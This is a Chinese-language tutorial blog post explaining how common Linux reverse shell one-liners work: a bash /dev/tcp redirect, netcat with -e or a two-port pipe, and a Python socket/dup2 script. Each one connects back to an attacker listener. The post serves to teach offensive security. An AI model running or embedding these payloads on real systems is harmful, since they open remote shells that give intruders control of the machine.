Linux滲透之反彈Shell命令解析

来源:https://www.cnblogs.com/anquanniu/archive/2018/08/09/9448074.html
-Advertisement-
Play Games

前言 當我們在滲透Linux主機時,反彈一個交互的shell是非常有必要的。在搜索引擎上搜索關鍵字“Linux 反彈shell”,會出現一大堆相關文章,但是其內容不但雷同,而且都僅僅是告訴我們執行這個命令就可以反彈shell了,卻沒有一篇文章介紹這些命令究竟是如何實現反彈shell的。既然大牛們懶得 ...


前言


當我們在滲透Linux主機時,反彈一個交互的shell是非常有必要的。在搜索引擎上搜索關鍵字“Linux 反彈shell”,會出現一大堆相關文章,但是其內容不但雷同,而且都僅僅是告訴我們執行這個命令就可以反彈shell了,卻沒有一篇文章介紹這些命令究竟是如何實現反彈shell的。既然大牛們懶得科普,那我就只好自己動手了。本文就來探討一下相關命令實現的原理。

 

Bash


這篇文章的起因就是網上給的Bash反彈shell的實現:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

看到這短短的一行代碼,正在複習Linux,自我感覺良好的我頓時充滿了挫敗感,這都是些什麼鬼。於是決定一定要搞明白它。

首先,bash -i是打開一個交互的bash,這個最簡單。我們先跳過“>&”和“0>&1”,這兩個是本文重點,等會再說。先來說“/dev/tcp/”。

 /dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。

要想瞭解“>&”和“0>&1”,首先我們要先瞭解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

1.  標準輸入   (stdin) :代碼為 0 ,使用 < 或 << ; 

2.  標準輸出   (stdout):代碼為 1 ,使用 > 或 >> ; 

3.  標準錯誤輸出(stderr):代碼為 2 ,使用 2> 或 2>>。

很多資料都會告訴我們,2>&1是將標準錯誤輸出合併到標準輸出中,但是這四個符號具體要如何理解呢?我剛開始直接將2>看做標準錯誤輸出,將&看做and,將1看做標準輸出。這樣理解好像也挺對,但是如果是這樣的話0>&1又該如何理解呢?

其實&根本就不是and的意思,學過C/C++的都知道,在這兩門語言里,&是取地址符。在這裡,我們也可以將它理解為取地址符。

好了,基本知識說完了,下麵我們就探討一下困擾了我一天的“>&”究竟是什麼意思。首先,我在查資料的過程中雖然沒有查到“>&”究竟是什麼,但是有一個跟它長得很像的符號卻被我發現了,那就是“&>”,它和“2>&1”是一個意思,都是將標準錯誤輸出合併到標準輸出中。難道“>&”和“&>”之間有什麼不為人知的交易?讓我們來動手測試一下。

http://p0.qhimg.com/t018103f64da7f9688a.png

從圖片中我們可以看到,在這裡">&"和“&>”作用是一樣的,都是將標準錯誤輸出定向到標準輸出中。

既然如此,那麼我們就把他倆互換試試看,究竟結果一不一樣。

我在虛擬機里執行

bash -i >& /dev/tcp/10.0.42.1/1234

結果如下圖所示,雖然命令和結果都在我本機上顯示出來了,但實際上命令並不是在本機上輸入的,而是只能在虛擬機裡面輸入,然後命令和結果都在我本機上顯示。

http://p8.qhimg.com/t019f28c3bb9f43c90e.png

http://p7.qhimg.com/t01fb430cf20c8cd35d.png

我們再執行

bash -i &> /dev/tcp/10.42.0.1/1234

效果是一樣的,就不上圖了。所以由實踐可知,“>&”和我們常見的“&>”是一個意思,都是將標準錯誤輸出重定向到標註輸出。

好了,一個問題已經解決,下一個就是“0>&1”。我們都知道,標準輸入應該是“0<”而不是“0>”,難道這個跟上一個問題樣都是同一個命令的不同寫法?讓我們試一下“0<&1”,看看會發生什麼。

http://p8.qhimg.com/t017c416915e0858e0e.png

http://p7.qhimg.com/t01a654246470f5c852.png

在上圖中我們得到了一個交互的shell。果然是這樣!“0>&1”和“0<&1”是一個意思,都是將標準輸入重定向到標準輸出中。使用

bash -i &> /dev/tcp/10.42.0.1 0<&1

同樣能反彈一個可交互的shell。

綜上所述,這句命令的意思就是,創建一個可交互的bash和一個到10.42.0.1:1234的TCP鏈接,然後將bash的輸入輸出錯誤都重定向到在10.42.0.1:1234監聽的進程。

 

NetCat


如果目標主機支持“-e”選項的話,我們就可以直接用

nc -e /bin/bash 10.42.0.1 1234

但當不支持時,我們就要用到Linux神奇的管道了。我們可以在自己機器上監聽兩個埠,

nc -l -p 1234 -vv
nc -l -p 4321 -vv

然後在目標主機上執行以下命令:

nc  10.42.0.1 1234  |  /bin/bash  |  nc 10.42.0.1 4321

這時我們就可以在1234埠輸入命令,在4321埠查看命令的輸出了。

管道“|”可以將上一個命令的輸出作為下一個命令的輸入。所以上面命令的意思就是將10.42.0.1:1234傳過來的命令交給/bin/bash執行,再將執行結果傳給10.42.0.1:4321顯示。

 

Python


python -c 
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.42.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'

python -c表示執行後面的代碼。首先引入了三個庫socket,subprocess,os,這三個庫後面都要用到,然後創建了一個使用TCP的socket,接著執行connect函數連接到黑客主機所監聽的埠。接著執行os庫的dup2函數來進行重定向。dup2傳入兩個文件描述符,fd1和fd2(fd1是必須存在的),如果fd2存在,就關閉fd2,然後將fd1代表的那個文件強行複製給fd2,fd2這個文件描述符不會發生變化,但是fd2指向的文件就變成了fd1指向的文件。 這個函數最大的作用是重定向。三個dup2函數先後將socket重定向到標準輸入,標準輸入,標準錯誤輸出。最後建立了一個子進程,傳入參數“-i”使bash以交互模式啟動。這個時候我們的輸入輸出都會被重定向到socket,黑客就可以執行命令了。

http://p3.qhimg.com/t010ef8a3bfdadc89c6.png

http://p3.qhimg.com/t01a0346934590463b9.png

我們可以看到成功的彈回了一個shell。

 

總結


在對信息安全的學習中,我們要時刻保持好奇心,多問為什麼,要多去探究根本原理,而不是只會使用工具和死記硬背,遇到不會又搜不到答案的問題,我們要大膽猜想,小心求證,只有這樣我們才能不斷的進步,在信息安全的領域越走越遠。

 

 學習資料推薦>>>>>> 

  Linux安全基礎

Linux運維基礎

 


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 1、STM32的Timer簡介 STM32中一共有11個定時器,其中2個高級控制定時器,4個普通定時器和2個基本定時器,以及2個看門狗定時器和1個系統嘀嗒定時器。 其中系統嘀嗒定時器是前文中所描述的SysTick,看門狗定時器以後再詳細研究。今天主要是研究剩下的8個定時器。 定時器 計數器解析度 計 ...
  • 剛知道有虛擬機的時候為了那啥(咳咳),花了好幾天的時間裝了很多的操作系統,像什麼os x、kali、red hat、以前的win7什麼的,甚至還有一個Android的虛擬機……扯偏了,然後最近學習到了Linux的知識,於是想起了虛擬機里好久沒碰過的ubantu,然而悲催的是當初設置的密碼忘記了,so ...
  • 基本操作 1. 安裝 2. 生成SSH KEY :先 ,在這個目錄下輸入 ,一直回車就可以了,這個時候就會出現id_rsd.pub公鑰和id_rsa私鑰,然後 ,把這個公鑰複製到對應的碼雲平臺或者是github上,配置SSH Key 3. 基本命令 | git config | git init | ...
  • 當你新登錄一個主機,過著管理一個主機,這時候你就需要這些命令來進行查看了: 1. w : Show who is logged on and what they are doing. w [options] user [...] 常用命令: w -h --no-header w -u --no-cu ...
  • 打開“開始”菜單。要執行此操作,請單擊屏幕左下角的Windows徽標或⊞ Win按鍵。 在Windows 8上,您將滑鼠游標懸停在屏幕的右上角,然後單擊放大鏡圖標。 在Windows 8上,您將滑鼠游標懸停在屏幕的右上角,然後單擊放大鏡圖標。 鍵入Firewall到開始。這樣做會顯示一個匹配程式列表 ...
  • [TOC] 一、shell命令規則 linux命令的格式 命令 [選項] [參數] 舉例: 命令這一部分肯定是存在 選項和參數不一定存在,可有可無。 選項和參數取決於你使用該命令實現的具體目的。 選項是以" "來指明的 命令、選項、參數之間是以空格來隔開的,一個或多個空格都視為1個空格。 如:ls ...
  • 前段時間遇到開發人員更新glibc版本,把/usr/lib64/libc-2.12.so & libc.so.6 -> libc-2.12.so 這個軟連接更改之後導致報錯: ls: error while loading shared libraries: libc.so.6: cannot op ...
  • Windows 10以多種方式對其前代產品進行了改進,但它改變了一些用戶可能已經習慣依賴的東西。如果您是錯過桌面上“我的電腦”圖標的人之一,我們就有辦法將舊的可靠按鈕帶回來。 這個技巧不僅可以讓你更容易看到你的PC的驅動器級別,它還允許你帶回其他圖標。所以,控制面板和好系統重裝助手教你怎麼安裝win ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...